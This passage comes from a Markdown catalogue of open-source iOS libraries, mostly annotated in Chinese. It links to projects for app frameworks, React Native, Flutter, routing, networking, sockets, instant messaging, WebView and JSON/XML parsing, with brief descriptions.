* [XBSettingController](https://github.com/changjianfeishui/XBSettingController) - 快速搭建类个人中心及应用设置界面.
* [EVNEstorePlatform](https://github.com/zonghongyan/EVNEstorePlatform) - App项目框架 [简书解析](http://www.jianshu.com/p/89e25c288d76?hmsr=toutiao.io&utm_medium=toutiao.io&utm_source=toutiao.io)
* [QMUI_iOS](https://github.com/QMUI/QMUI_iOS) - QMUI iOS——致力于提高项目 UI 开发效率的解决方案.
* [UniversalProject](https://github.com/XuYang8026/UniversalProject) - 基于MVC架构的iOS轻量级框架，封装了基类、基于猿题库YTKNetwork的网络服务、工具库，NavigationController转场动画/瀑布流/粒子动画/小demo，已适配iOS11 & iPhone X.
* [coderZsq.project.oc](https://github.com/coderZsq/coderZsq.project.oc) - A lightweight and efficient application development tool set for iOS, and accelerating the developing speed.
* [AppManager](https://github.com/nanchen2251/AppManager) - 🔥 An elegant exit application and restart mechanism management.
* [MACProject](https://github.com/azheng51714/MACProject) - 这是一个用 Objective-C 写的 iOS 轻量级框架，旨在快速构建 iOS App.
* [iOSProject](https://github.com/NJHu/iOSProject) - 一些oc项目集合.
* [WYBasisKit](https://github.com/Jacke-xu/WYBasisKit) - "WYBasisKit" is a toolkit aimed at greatly improving efficiency.
* [nextcloud](https://github.com/nextcloud/ios) - Nextcloud iOS app.
* [eEducation](https://github.com/AgoraIO-Usecase/eEducation) - e-education solutions(Agora Reference Design).
* [MobileProject](https://github.com/wujunyang/MobileProject) - 一个基于 MVC 的项目框架，并集成一些常用的功能.
#### React@
* [ReactiveCocoa](https://github.com/ReactiveCocoa/ReactiveCocoa) - ReactiveCocoa受函数响应式编程激发。不同于使用可变的变量替换和就地修改，RAC提供Signals来捕获当前值和将来值（ [使用介绍](http://yulingtianxia.com/blog/2014/07/29/reactivecocoa/) ），[不错的例子](http://iiiyu.com/2014/12/26/learning-ios-notes-thirty-six/),入门好教程：[ReactiveCocoa入门教程：第一部分 ](http://www.cocoachina.com/ios/20150123/10994.html)。[Reactive Cocoa 3.0 在 MVVM 中的应用](http://ios.jobbole.com/82232/) ,[小码哥：快速让你上手ReactiveCocoa之基础篇](http://www.jianshu.com/p/87ef6720a096)。
* [react-native](https://github.com/facebook/react-native) - A framework for building native apps with React.
* [weex](https://github.com/alibaba/weex) - A framework for building Mobile cross-platform UI.
* [LoginWithReactiveCocoa](https://github.com/CrazySurfBoy/LoginWithReactiveCocoa) - ReactiveCocoa - 登录交互效果的实现。
* [BeeFramework](https://github.com/gavinkwoe/BeeFramework) - 与ReactiveCocoa类似，[BeeFramework用户指南 v1.0](http://www.lanrenios.com/tutorials/all/2012/1220/641.html)。
* [Objective-Chain](https://github.com/Tricertops/Objective-Chain) - Objective-Chain是一个面向对象的响应式框架，作者表示该框架吸收了 ReactiveCocoa 的思想，并且想做得更面向对象一些。
* [react-native-maps](https://github.com/react-native-community/react-native-maps) - React Native Mapview component for iOS + Android.
* [MVVMFramework](https://github.com/lovemo/MVVMFramework) - (OC版)总结整理下一个快速开发框架，分离控制器中创建tableView和collectionView的代码，已加入cell自适应高度，降低代码耦合，提高开发效率。
* [react-native-config](https://github.com/luggit/react-native-config) - 用于响应本机应用程序的配置变量,模块将配置变量公开到你的javascript代码中，同时支持iOS和 Android.
* [react-native-syan-image-picker](https://github.com/syanbo/react-native-syan-image-picker) - React-Native 多图片选择 支持裁剪 压缩.
* [ReactNative的理解与思考,三端同一套代码的实践](http://www.jianshu.com/p/1144469bf81f?hmsr=toutiao.io&utm_medium=toutiao.io&utm_source=toutiao.io).
* [RNStudyNotes](https://github.com/crazycodeboy/RNStudyNotes) - React Native 研究与实践.
* [react-native-orientation](https://github.com/yamill/react-native-orientation) - Listen to device orientation changes in react-native and set preferred orientation on screen to screen basis.
* [QTEventBus](https://github.com/LeoMobileDeveloper/QTEventBus) - 优雅的处理全局事件，支持AppDelegate解耦.
* [react-native-notifications](https://github.com/wix/react-native-notifications) - React Native Notifications.
* [react-native-template-typescript](https://github.com/react-native-community/react-native-template-typescript) - Clean and minimalist React Native template for a quick start with TypeScript.
* [react-native-viewpager](https://github.com/react-native-community/react-native-viewpager) - React Native wrapper for the Android ViewPager and iOS UIPageViewController.
* [react-native-spinkit](https://github.com/maxs15/react-native-spinkit) - A collection of animated loading indicators for React Native.
* [react-native-maps](https://github.com/airbnb/react-native-maps) - React Native Mapview component for iOS + Android.
* [react-native-svg](https://github.com/react-native-community/react-native-svg) - SVG library for React Native. react-native-svg is built to provide a SVG interface to react native on both iOS and Android.
* [TypeScript-React-Native-Starter](https://github.com/microsoft/TypeScript-React-Native-Starter) - A starter template for TypeScript and React Native with a detailed README describing how to use the two together.
* [react-native-maps](https://github.com/react-community/react-native-maps) - React Native Mapview component for iOS + Android.
* [react-native-code-push](https://github.com/Microsoft/react-native-code-push) - React Native module for CodePush（微软提供的一套可用于React Native和Cordova的热更新服务）.
* [react-native-webrtc](https://github.com/react-native-webrtc/react-native-webrtc) - The WebRTC module for React Native.
* [react-native-permissions](https://github.com/react-native-community/react-native-permissions) - An unified permissions API for React Native on iOS and Android.
* [react-native-iap](https://github.com/dooboolab/react-native-iap) - react-native native module for In App Purchase.
* [react-native-navigation](https://github.com/wix/react-native-navigation) - 是Navigator的加强版，不仅有Navigator的全部功能，另外还支持底部导航类似于与iOS中的UITabBarController，此外它也支持侧拉效果方式的导航类似于Android中的抽屉效果。
#### framework@
* [Small](https://github.com/wequick/Small) - A small framework to split app into small parts.
* [Aspects](https://github.com/steipete/Aspects) - 个简洁高效的用于使iOS支持AOP面向切面编程的库.它可以帮助你在不改变一个类或类实例的代码的前提下,有效更改类的行为.
* [Form](https://github.com/hyperoslo/Form) - JSON 驱动的 Form表单系统，复杂的表单填写类 App 极其需要（比如淘宝呢！）.
#### flutter@
* [flutter](https://github.com/flutter/flutter) - Flutter针对想要在Android和iOS上运行的2D移动应用进行了优化。您可以使用Flutter构建全功能应用程序，包括相机、地理位置、网络、存储、第三方SDK等.
* [flutter-webrtc](https://github.com/flutter-webrtc/flutter-webrtc) - WebRTC plugin for Flutter Mobile/Desktop/Web.
* [dicee-flutter](https://github.com/londonappbrewery/dicee-flutter) - Starter code for the Dicee project in the Complete Flutter Bootcamp.
* [mi_card_flutter](https://github.com/londonappbrewery/mi_card_flutter) - Starter code for the Mi Card Project from the Complete Flutter Development Bootcamp.
* [flutter-webrtc](https://github.com/cloudwebrtc/flutter-webrtc) - WebRTC plugin for Flutter Mobile/Desktop/Web.
* [FlutterDouBan](https://github.com/kaina404/FlutterDouBan) - Flutter豆瓣客户端,Awesome Flutter Project,全网最100%还原豆瓣客户端。首页、书影音、小组、市集及个人中心，一个不拉.
* [flutter-go](https://github.com/alibaba/flutter-go) - flutter 开发者帮助 APP，包含 flutter 常用 140+ 组件的demo 演示与中文文档.
#### 混合开发@
* [rexxar-ios](https://github.com/douban/rexxar-ios) - 豆瓣推的混合开发库 Mobile Hybrid Framework Rexxar iOS Container.
#### 组件化@
* [CTMediator](https://github.com/casatwy/CTMediator) - 应用架构组件化解耦库,让你的`Appdelegate.h`等文件不在显得头大,模块之间解除强耦合性.
* [JLRoutes](https://github.com/joeldev/JLRoutes) - 好用的URL map库，它的作用是让按钮的点击像网页里的链接一样，只是触发了某个URL，而没有像pushViewController这样的行为，实现解耦.
* [HHRouter](https://github.com/lightory/HHRouter) - 页面跳转方式，可以将 UIViewController 映射成 URL，从而支持通过 URL 进行界面跳转，类似 Web 一样.
* [MGJRouter](https://github.com/meili/MGJRouter) - 一个高效/灵活的 iOS URL Router。
* [routable-ios](https://github.com/clayallsopp/routable-ios) - 代码解耦-iOS应用內动态跳转解决方案.
* [Bifrost](https://github.com/youzan/Bifrost) - 有赞移动开源的 iOS 组件化方案.
* [WLRRoute](https://github.com/Neojoke/WLRRoute) - 一个简单的 iOS 路由组件.
### 优化@
* [MLeaksFinder新特性](http://wereadteam.github.io/2016/07/20/MLeaksFinder2/) - MLeaksFinder（iOS 平台的自动内存泄漏检测工具）用法.
* [LSUnusedResources](https://github.com/tinymind/LSUnusedResources) - 清理Xcode项目中未使用的资源文件.
#### 多线程@
* [YYDispatchQueuePool](https://github.com/ibireme/YYDispatchQueuePool) - iOS 全局并发队列管理工具.
* [JX_GCDTimer](https://github.com/Joeyqiushi/JX_GCDTimer) - 定时器，NSTimer和GCD哪个更好.
* [BLStopwatch](https://github.com/beiliao-mobile/BLStopwatch) - 代码耗时打点计时器.
* [Thread](https://github.com/mrhyh/Thread) - 多线程Demo集合.
#### 网络@
#### 网络请求@
* [AFNetworking](https://github.com/AFNetworking/AFNetworking) - A delightful networking framework for iOS, OS X, watchOS, and tvOS. [iOS开发下载文件速度计算](http://www.superqq.com/blog/2015/01/29/ioskai-fa-xia-zai-wen-jian-su-du-ji-suan/) , [AFNetworking 3.0迁移指南](http://www.cocoachina.com/ios/20151022/13831.html) , [AFNetworking2.0源码解析<一>](http://www.cocoachina.com/ios/20140829/9480.html) 、[AFNetworking2.0源码解析<二>](http://www.cocoachina.com/ios/20140904/9523.html)、[AFNetworking源码解析<三>](http://www.cocoachina.com/ios/20140916/9632.html)、[AFNetworking源码解析<四>](http://www.cocoachina.com/ios/20141120/10265.html)。
* [YTKNetwork](https://github.com/yuantiku/YTKNetwork) - 是基于 AFNetworking 封装的 iOS网络库，提供了更高层次的网络访问抽象。相比AFNetworking，YTKNetwork提供了以下更高级的功能：按时间或版本号缓存网络请求内容、检查返回 JSON 内容的合法性、文件的断点续传、批量的网络请求发送、filter和插件机制等，猿题库出品.
* [KJNetworkPlugin](https://github.com/yangKJ/KJNetworkPlugin) - 插件版网络请求可以更方便快捷的定制专属网络请求，并且支持批量操作，链式操作，功能清单：**1.支持基本的网络请求，下载上传文件 2.支持配置通用请求跟路径，通用参数等 3.支持设置加载和提示框插件 4.支持解析结果插件 4.支持网络缓存插件 5.支持配置自建证书插件 6.支持修改请求体和获取响应结果插件 7.支持自定义插件**
* [RestKit](https://github.com/RestKit/RestKit) - RestKit是一款专为iOS设计的Objective-C框架，旨在与RESTful web服务的交互变得更简单快速。它基于强大的对象映射系统，并且结合了一个干净、简单的HTTP请求/响应API，大大减少了完成任务所需的代码量。 RestKit is a framework for consuming and modeling RESTful web resources on iOS and OS X
* [HYBNetworking](https://github.com/CoderJackyHuang/HYBNetworking) - 基于AFN封装的网络库，可以通用。[基于AFNetworking封装网络库说明](http://www.henishuo.com/base-on-afnetworking-wrapper/)目前已经提供了通用的GET/POST、上传、下载API等。
* [LxFTPRequest](https://github.com/DeveloperLx/LxFTPRequest) - 支持获取FTP服务器资源列表，下载/上传文件，创建/销毁ftp服务器文件/目录，以及下载断点续传，下载/上传进度，自动判断地址格式合法性跟踪等功能！国人开发，QQ：349124555。
* [ASIHTTPRequest](https://github.com/pokeb/asi-http-request) - Easy to use CFNetwork wrapper for HTTP requests, Objective-C, macOS and iPhone.
* [MutableUploadDemo](https://github.com/HHuiHao/MutableUploadDemo) - 模拟需求：图文混编，要求用户选择图片后就上传，可选择多图，并行上传，用户确定提交后后台执行，必须全部图片上传完才能提交文字。
* [WTRequestCenter](https://github.com/swtlovewtt/WTRequestCenter) - 方便缓存的请求库，提供了方便的HTTP请求方法，传入请求url和参数，返回成功和失败的回调。 UIKit扩展提供了许多不错的方法，快速缓存图片，图片查看，缩放功能， 颜色创建，设备UUID，网页缓存，数据缓存等功能。 无需任何import和配置，目前实现了基础需求。
* [MMWormhole](https://github.com/mutualmobile/MMWormhole) - Message passing between iOS apps and extensions 2个iOS设备之间通信。
* [STNetTaskQueue](https://github.com/kevin0571/STNetTaskQueue) - STNetTaskQueue Objective-C 可扩展网络请求管理库。
* [MZDownloadManager](https://github.com/mzeeshanid/MZDownloadManager) - 下载管理。
* [DVR](https://github.com/venmo/DVR) - 针对网络请求的测试框架，超实用的工具。且支持 iOS, OSX, watchOS 全平台。
* [HFDownLoad](https://github.com/hongfenglt/HFDownLoad) - iOS开发网络篇之文件下载、大文件下载、断点下载:NSData方式、NSURLConnection方式、NSURLSession下载方式 [下载方式具体的思路、区别见Blog](http://blog.csdn.net/hongfengkt/article/details/48290561) 。
* [PPNetworkHelper](https://github.com/jkpang/PPNetworkHelper) - AFN3.x与YYCache的二次封装,一句话搞定网络请求与缓存,和FMDB说拜拜.
* [WANetworkRouting](https://github.com/Wasappli/WANetworkRouting) - An iOS library to route API paths to objects on client side with request, mapping, routing and auth layers
* [Overcoat](https://github.com/Overcoat/Overcoat) - Small but powerful library that makes creating REST clients simple and fun.
* [ROADFramework](https://github.com/epam/road-ios-framework) - Attributed-oriented approach for interacting with web services. The framework has built-in json and xml serialization for requests and responses and can be easily extensible.
* [TWRDownloadManager](https://github.com/chasseurmic/TWRDownloadManager) - A modern download manager based on NSURLSession to deal with asynchronous downloading, management and persistence of multiple files.
* [HappyDns](https://github.com/qiniu/happy-dns-objc) - A Dns library, support custom dns server, dnspod httpdns. Only support A record.
* [Bridge](https://github.com/BridgeNetworking/Bridge) - A simple extensible typed networking library. Intercept and process/alter requests and responses easily. :large_orange_diamond:
* [EVCloudKitDao](https://github.com/evermeer/EVCloudKitDao) - Simplified access to Apple's CloudKit :large_orange_diamond:
* [Siesta](https://bustoutsolutions.github.io/siesta/) - Elegant abstraction for RESTful resources that untangles stateful messes. An alternative to callback- and delegate-based networking. :large_orange_diamond:
* [OctopusKit](https://github.com/icoco/OctopusKit) - A simplicity but graceful solution for invoke RESTful web service APIs.
* [EVURLCache](https://github.com/evermeer/EVURLCache) - a NSURLCache subclass for handling all web requests that use NSURLRequest :large_orange_diamond:
* [ResponseDetective](https://github.com/netguru/ResponseDetective) - Sherlock Holmes of the networking layer. :large_orange_diamond:
* [agent](https://github.com/hallas/agent) - Minimalistic Swift HTTP request agent for iOS and macOS :large_orange_diamond:
* [Reach](https://github.com/Isuru-Nanayakkara/Reach) - A simple class to check for internet connection availability in Swift. :large_orange_diamond:、
* [SwiftHTTP](https://github.com/daltoniam/SwiftHTTP) - Thin wrapper around NSURLSession in swift. Simplifies HTTP requests. :large_orange_diamond:
* [NetKit](https://github.com/azizuysal/NetKit) - A Concise HTTP Framework in Swift. :large_orange_diamond:
* [MonkeyKing](https://github.com/nixzhu/MonkeyKing) - MonkeyKing helps you post messages to Chinese Social Networks. :large_orange_diamond:
* [NetworkKit](https://github.com/imex94/NetworkKit) - Lightweight Networking and Parsing framework made for iOS, Mac, WatchOS and tvOS. :large_orange_diamond:
* [APIKit](https://github.com/ishkawa/APIKit) - A networking library for building type safe web API client in Swift. :large_orange_diamond:
* [SPTDataLoader](https://github.com/spotify/SPTDataLoader) - The HTTP library used by the Spotify iOS client.
* [SWNetworking](https://github.com/skywite/SWNetworking) - Powerful high-level iOS, macOS and tvOS networking library.
* [SOAPEngine](https://github.com/priore/SOAPEngine) - This generic SOAP client allows you to access web services using a your iOS app, macOS app and AppleTV app.
* [Swish](https://github.com/thoughtbot/Swish) - Nothing but Net(working) :large_orange_diamond:
* [Malibu](https://github.com/hyperoslo/Malibu) - :surfer: Malibu is a networking library built on promises :large_orange_diamond:
* [UnboxedAlamofire](https://github.com/serejahh/UnboxedAlamofire) - Alamofire + Unbox: the easiest way to download and decode JSON into swift objects. :large_orange_diamond:
* [MMLanScan](https://github.com/mavris/MMLanScan) - An iOS LAN Network Scanner library
* [Domainer](https://github.com/FelixLinBH/Domainer) - Manage multi-domain url auto mapping ip address table
* [Restofire](https://github.com/Restofire/Restofire) - Restofire is a protocol oriented network abstraction layer in swift that is built on top of Alamofire to use services in a declartive way :large_orange_diamond:
* [AFNetworking+RetryPolicy](https://github.com/kubatruhlar/AFNetworking-RetryPolicy) - An objective-c category that adds the ability to set the retry logic for requests made with AFNetworking.
* [Nikka](https://github.com/JustaLab/Nikka) - A super simple Networking wrapper that supports many JSON libraries, Futures and Rx :large_orange_diamond: ⌚
* [XMNetworking](https://github.com/kangzubin/XMNetworking) - A lightweight but powerful network library with simplified and expressive syntax based on AFNetworking.
* [Merhaba](https://github.com/abdullahselek/Merhaba) - Bonjour networking for discovery and connection between iOS, macOS and tvOS devices.
* [DBNetworkStack](https://github.com/dbsystel/DBNetworkStack) - Resource-oritented networking which is typesafe, extendable, composeable and makes testing a lot easier. :large_orange_diamond:
* [EFInternetIndicator](https://github.com/ezefranca/EFInternetIndicator) - A little swift Internet error status indicator using ReachabilitySwift. :large_orange_diamond:
* [AFNetworking-Synchronous](https://github.com/paulmelnikow/AFNetworking-Synchronous) - Synchronous requests for AFNetworking 1.x, 2.x, and 3.x.
* [QwikHttp](https://github.com/logansease/QwikHttp) - a robust, yet lightweight and simple to use HTTP networking library designed for RESTful APIs. 🔶
* [NetClient](https://github.com/intelygenz/NetClient-iOS) - Versatile HTTP networking library written in Swift 3. :large_orange_diamond:
* [Reactor](https://github.com/MailOnline/Reactor) - Powering your RAC architecture :large_orange_diamond:
* [OHHTTPStubs](https://github.com/AliSoftware/OHHTTPStubs) - 轻松存网络的要求！测试你的应用程序使用假网络数据和定制的响应时间，响应代码和头部.
#### socket@
* [CocoaAsyncSocket](https://github.com/robbiehanson/CocoaAsyncSocket) - 无疑是目前封装得最完善的Socket库了：支持异步TCP/UDP，支持GCD，Objective-C接口封装[使用教程](http://www.superqq.com/blog/2015/04/03/ioskai-fa-zhi-asyncsocketshi-yong-jiao-cheng/).
* [SocketRocket](https://github.com/facebook/SocketRocket) - 一个非常不错的 Objective-C 的Socket库.
* [AsyncSocket](https://github.com/roustem/AsyncSocket) - Asynchronous socket networking library for Mac and iOS.
* [Socket通信](http://code.cocoachina.com/view/128711) - 通过AsyncSocket封装的Socket通讯方法，简单实用，通俗易懂，初学者不能错过.
* [GCDAsyncSocket](https://github.com/eugenehp/GCDAsyncSocket) - GCDAsyncSocket ， [不错的Demo](https://github.com/smalltask/TestTcpConnection).
* [Starscream](https://github.com/daltoniam/Starscream) - Starscream is a conforming WebSocket (RFC 6455) library in Swift.
#### 网络下载@
* [WHCNetWorkKit](https://github.com/netyouli/WHCNetWorkKit) - WHCNetWorkKit 是http网络请求开源库(支持GET/POST 文件上传 后台文件下载 UIButton UIImageView 控件设置网络图片 网络数据工具json/xml 转模型类对象网络状态监听).
* [HSDownloadManager](https://github.com/HHuiHao/HSDownloadManager) - 下载音乐、视频、图片各种资源，支持多任务、断点下载.
* [DGDownloadManager](https://github.com/liudiange/DGDownloadManager) - 下载的一个框架，支持断点续传、支持批量下载，支持ios和macOs,支持pod，可设置最大并发数量，可以暂停也可以恢复更可以取消.
#### IM@
* [JSQMessagesViewController](https://github.com/jessesquires/JSQMessagesViewController) - 非常👍👍👍 的聊天界面框架.
* [XMPPFramework](https://github.com/robbiehanson/XMPPFramework) - XMPPFramework openfire聊天.
* [Signal-iOS](https://github.com/signalapp/Signal-iOS) - A private messenger for iOS.
* [Messenger](https://github.com/relatedcode/Messenger) - This is a native iOS Messenger app, with audio/video calls and realtime chat conversations (full offline support).
* [MessageDisplayKit](https://github.com/xhzengAIB/MessageDisplayKit) - 仿微信聊天，参考JSQMessagesViewController.
* [SXTheQQ](https://github.com/dsxNiubility/SXTheQQ) - 用xmppFramework框架编写QQ程序，主要为了练习通讯的一些原理，界面比较渣 必须要先在本地配置好环境才可以运行。
* [ChatSecure](https://github.com/ChatSecure/ChatSecure-iOS) - 基于XMPP的iphone、android加密式聊天软件， [chatsecure官网](https://chatsecure.org/) 。 [iOS代码1](https://github.com/ChatSecure/ChatSecure-iOS)，[iOS代码2](https://github.com/ChatSecure/ChatSecure-iOS)， [iOS中文版](http://www.cocoachina.com/bbs/read.php?tid=153156).
* [SunFlower](https://github.com/HanYaZhou1990/-SunFlower) - 环信聊天demo，比较多功能.
* [MobileIMSDK](https://github.com/JackJiang2011/MobileIMSDK) - 一个专为移动端开发的原创即时通讯框架，超轻量级、高度提炼，完全基于UDP协议，支持iOS、Android、标准Java平台，服务端基于Mina和Netty编写.
* [BlueTalk蓝牙聊天](http://code4app.com/ios/BlueTalk%E8%93%9D%E7%89%99%E8%81%8A%E5%A4%A9-%E6%89%8B%E6%9C%BA%E4%B9%8B%E9%97%B4/552b8190933bf0291e8b4748) - 以MultipeerConnectivity为基础， 实现了简单的蓝牙聊天.
* [网易云信 iOS UI 组件](https://github.com/netease-im/NIM_iOS_UIKit) - 云信 UI 组件，全称 Netease Instant Message Kit，简称 NIMKit，是一款开源的聊天组件，并支持二次开发。开发者只需要稍作配置就可以打造出属于自己的聊天界面，而通过一些自定义的设置，也可以轻松添加业务相关的功能，如阅后即焚，红包，点赞等功能。NIMKit 底层依赖 NIMSDK，是一款由网易开发的 IM SDK，通过它可以轻松快速在你的 App 中集成 IM 功能.
* [环信](http://www.easemob.com/) - 给开发者更稳定IM云功能。8200万用户考验，好用！（暂无及时语音、视频通话).
* [融云](http://www.rongcloud.cn/) - 即时通讯云服务提供商。（暂无及时语音、视频通话）.
* [TeamTalk](https://github.com/meili/TeamTalk) - TeamTalk is a solution for enterprise IM.
* [QQ界面](https://github.com/weida-studio/QQ)
* [容联云通讯](http://www.yuntongxun.com) - 提供基于互联网通话,视频会议,呼叫中心/IVR,IM等通讯服务.
* [RTCChatUI](https://github.com/Haley-Wong/RTCChatUI) - 仿QQ音视频通话效果.
* [Telegram](https://github.com/peter-iakovlev/Telegram) - Telegram Messenger for iOS.
#### 网络测试@
* [Reachability](https://github.com/tonymillion/Reachability) - 苹果提供过一个Reachability类，用于检测网络状态。但是该类由于年代久远，并不支持ARC。该项目旨在提供一个苹果的Reachability类的替代品，支持ARC和block的使用方式。[iOS网络监测如何区分2、3、4G](http://www.jianshu.com/p/efcfa3c87306)
* [SimpleCarrier](https://github.com/crazypoo/SimpleCarrier) - 简单的运营商信息获取.
* [NetworkEye](https://github.com/coderyi/NetworkEye) - 一个网络调试库，可以监控App内HTTP请求并显示请求相关的详细信息，方便App开发的网络调试。
* [RealReachability](https://github.com/dustturtle/RealReachability) - [iOS下的实际网络连接状态检测](http://www.cocoachina.com/ios/20160224/15407.html)，解决“如何判断设备是否真正连上互联网？而不是只有网络连接”的问题。
* [LDNetDiagnoService_IOS](https://github.com/Lede-Inc/LDNetDiagnoService_IOS) IOS平台利用ping和traceroute的原理，对指定域名（通常为后台API的提供域名）进行网络诊断，并收集诊断日志.
* [Netfox](https://github.com/kasketis/netfox) - A lightweight, one line setup, iOS / macOS network debugging library! :large_orange_diamond:
#### WebView与WKWebView@
* [WebViewJavascriptBridge](https://github.com/marcuswestin/WebViewJavascriptBridge) - 是一个连接javascript和iOS Native交互的开源框架。使用它可以在UIWebview中响应事件并执行Native方法,也可以使用Native方法调用javascript方法, 正如其名,它好像已做桥梁连接了两端.
* [MGTemplateEngine](https://github.com/mattgemmell/MGTemplateEngine) - MGTemplateEngine比较象 PHP 中的 Smarty、FreeMarker 和 Django的模版引擎，是一个轻量级的引擎，简单好用。只要设置很多不同的HMTL模版，就能轻松的实现一个View多种内容格式的显示，对于不熟悉HTML或者减轻 工作量而言，把这些工作让设计分担一下还是很好的，也比较容易实现设计想要的效果.
* [GTMNSString-HTML](https://github.com/siriusdely/GTMNSString-HTML) - 谷歌开源的用于过滤HTML标签.
* [D3Generator](https://github.com/mozhenhau/D3Generator/) - D3Generator根据dict字典生成对象。适用webview和push推送时，根据后台传回字典实现动态跳转.[实现说明](http://mozhenhau.com/2016/02/07/D3Generator实现万能跳转界面，UIWebview与js随意交互/).
* [HybridPageKit](https://github.com/dequan1331/HybridPageKit) - 一个针对新闻类App高性能、易扩展、组件化的通用内容页实现框架.
* [GRMustache](https://github.com/groue/GRMustache) - 一个类似templateEngine的html渲染工具，可以更加有效的帮助大家完成数据生成HTML的过程.
* [iOS-WebView-JavaScript](https://github.com/shaojiankui/iOS-WebView-JavaScript) - iOS UIWebView,WKWebView 与 JavaScript的深度交互.
* [WKWebView](https://github.com/XFIOSXiaoFeng/WKWebView) - OC版WKWebView 支持POST请求 加载本地页面 直接加载网页 JS交互 集成支付宝/微信URL支付功能 仿微信返回按钮.
* [BAWKWebView](https://github.com/BAHome/BAWKWebView) - 用分类封装 WKWebView，一行代码搞定 request、URL、URLString、本地 HTML文件、HTMLString等请求，一个 block 搞定 title、progress、currentURL、当前网页的高度等等所需.
* [WKWebView](https://github.com/Telerik-Verified-Plugins/WKWebView) - A drop-in replacement of UIWebView - useful until Apple release a bug-free WKWebView.
* [Erik](https://github.com/phimage/Erik) - Erik is an headless browser based on WebKit. An headless browser allow to run functional tests, to access and manipulate webpages using javascript. :large_orange_diamond:
* [react-native-webview](https://github.com/react-native-community/react-native-webview) - React Native Cross-Platform WebView.
* [URLPreview](https://github.com/itsmeichigo/URLPreview) - An NSURL extension for showing preview info of webpages :large_orange_diamond: [e]
* [AXWebViewController](https://github.com/devedbox/AXWebViewController) - AXWebViewController is a webViewController to browse web content inside applications.
* [LYWebviewController](https://github.com/halohily/LYWebviewController) - 基于UIWebview-简书文章阅读页面的模仿demo.
* [WKWebViewH5ObjCDemo](https://github.com/CoderJackyHuang/WKWebViewH5ObjCDemo) - 学习如何使用OC实现WKWebView与H5交互，并学习其API使用.
* [PPHTMLImagePreviewDemo](https://github.com/smallmuou/PPHTMLImagePreviewDemo) - 该Repo用于演示APP中点击HTML的图片来预览图片的功能.
* [WKWebViewExtension](https://github.com/dequan1331/WKWebViewExtension) - An extension for WKWebView. Providing menuItems delete 、support protocol 、clear cache of iOS8 and so on.
* [ZFWKWebView](https://github.com/ICU-Coders/ZFWKWebView) - 一款封装较为全面的可自定义的WKWebViewController，用户友好，提供丰富的功能和JS交互
#### 网络解析@
* [ParseSourceCodeStudy](https://github.com/ChenYilong/ParseSourceCodeStudy) - Facebook开源的Parse源码分析【系列】.
#### JSON@
* [MJExtension](https://github.com/CoderMJLee/MJExtension) - A fast, convenient and nonintrusive conversion between JSON and model.
* [YYModel](https://github.com/ibireme/YYModel) - High performance model framework for iOS/OSX.
* [jsonmodel](https://github.com/jsonmodel/jsonmodel) - Magical Data Modeling Framework for JSON - allows rapid creation of smart data models. You can use it in your iOS, macOS, watchOS and tvOS apps.
* [JSONKit](https://github.com/johnezang/JSONKit) - JSONKit库是非常简单易用而且效率又比较高的，重要的JSONKit适用于ios 5.0以下的版本,使用JSONKit库来解析json文件，只需要下载JSONKit.h 和JSONKit.m添加到工程中；然后加入libz.dylib即可.
* [JSONModel](https://github.com/icanzilb/JSONModel) - 解析服务器返回的Json数据的库,[JSONModel源码解析一](http://www.jianshu.com/p/3d795ea37835).
* [Mantle](https://github.com/Mantle/Mantle) - Mantle主要用来将JSON数据模型化为OC对象, 大系统中使用。[为什么选择Mantle](http://blog.csdn.net/itianyi/article/details/40789273).
* [RFJModel](https://github.com/refusebt/RFJModel) - RFJModel是一个IOS类库，可以将JSON字典自动装填到OBJC对象.
* [XMLDictionary](https://github.com/nicklockwood/XMLDictionary) - ios与mac os平台下xml与NSDictionary相互转化开源类库.
* [DDModel](https://github.com/openboy2012/DDModel) - a HTTP-JSON/XML-ORM-Persistent Object Kit.
* [ambly](https://github.com/mfikes/ambly) - ClojureScript REPL into embedded JavaScriptCore.
* [TouchJSON](https://github.com/TouchCode/TouchJSON) - JSon解析库(早已停止更新).
* [JSON-Framework](https://github.com/stig/json-framework) - JSON（JavaScript对象符号）是一种轻量的数据交换格式，易于读写人类和计算机一样。该框架实现了用在Objective-C严格的JSON解析器和编码器.
* [Groot](https://github.com/gonzalezreal/Groot) - From JSON to Core Data and back.
* [KZPropertyMapper](https://github.com/krzysztofzablocki/KZPropertyMapper) - 可以帮助你在对象与Array、Dict数据间进行转换，尤其适用于将json对象转换成objective-c中的实体对象。作者还写了一篇文章[stop-writing-data-parsing-code-in-your-apps](http://merowing.info/2013/07/stop-writing-data-parsing-code-in-your-apps/)介绍它的使用.
* [FastEasyMapping](https://github.com/Yalantis/FastEasyMapping) - 一个快速对json进行序列化和反序列化的工具.
* [OCMapper](https://github.com/aryaxt/OCMapper) - Objective-C & Swift library to easily map NSDictionary to model objects, works perfectly with Alamofire. ObjectMapper works similar to GSON.
* [Cereal](https://github.com/Weebly/Cereal) - 对象序列化三方库 Swift object serialization.
* [SwiftyJSONAccelerator](https://github.com/insanoid/SwiftyJSONAccelerator) - json转model的三方库 Generate Swift model files from JSON using either SwiftyJSON or ObjectMapper. Supports NSCoding and provides method for JSON string representation of the model.
* [Tyro](https://github.com/typelift/Tyro) - Functional JSON parsing and encoding :large_orange_diamond:
* [Unbox](https://github.com/JohnSundell/Unbox) - The easy to use Swift JSON decoder :large_orange_diamond:
* [JSONJoy-Swift](https://github.com/daltoniam/JSONJoy-Swift) - Convert JSON to Swift objects. :large_orange_diamond:
* [LazyObject](https://github.com/iwasrobbed/LazyObject) - Lazily deserialize JSON into strongly typed Swift objects :large_orange_diamond:
* [Elevate](https://github.com/Nike-Inc/Elevate) - Elevate is a JSON parsing framework that leverages Swift to make parsing simple, reliable and composable. :large_orange_diamond:
* [AlamofireObjectMapper](https://github.com/tristanhimmelman/AlamofireObjectMapper) - An Alamofire extension which converts JSON response data into swift objects using ObjectMapper :large_orange_diamond:
* [WAMapping](https://github.com/Wasappli/WAMapping) - 一个将字典和iOS对象相互转化的库.
#### XML&HTML@
* [Ji](https://github.com/honghaoz/Ji) - XML/HTML parser for Swift. :large_orange_diamond:
* [Ono](https://github.com/mattt/Ono) - A sensible way to deal with XML & HTML for iOS & OS X.
* [AlamofireXmlToObjects](https://github.com/evermeer/AlamofireXmlToObjects) - Fetch a XML feed and parse it into objects :large_orange_diamond:
* [Fuzi](https://github.com/cezheng/Fuzi) - A fast & lightweight XML & HTML parser in Swift with XPath & CSS support :large_orange_diamond:
* [Kanna](https://github.com/tid-kijyun/Kanna) - Kanna(鉋) is an XML/HTML parser for MacOSX/iOS. :large_orange_diamond:
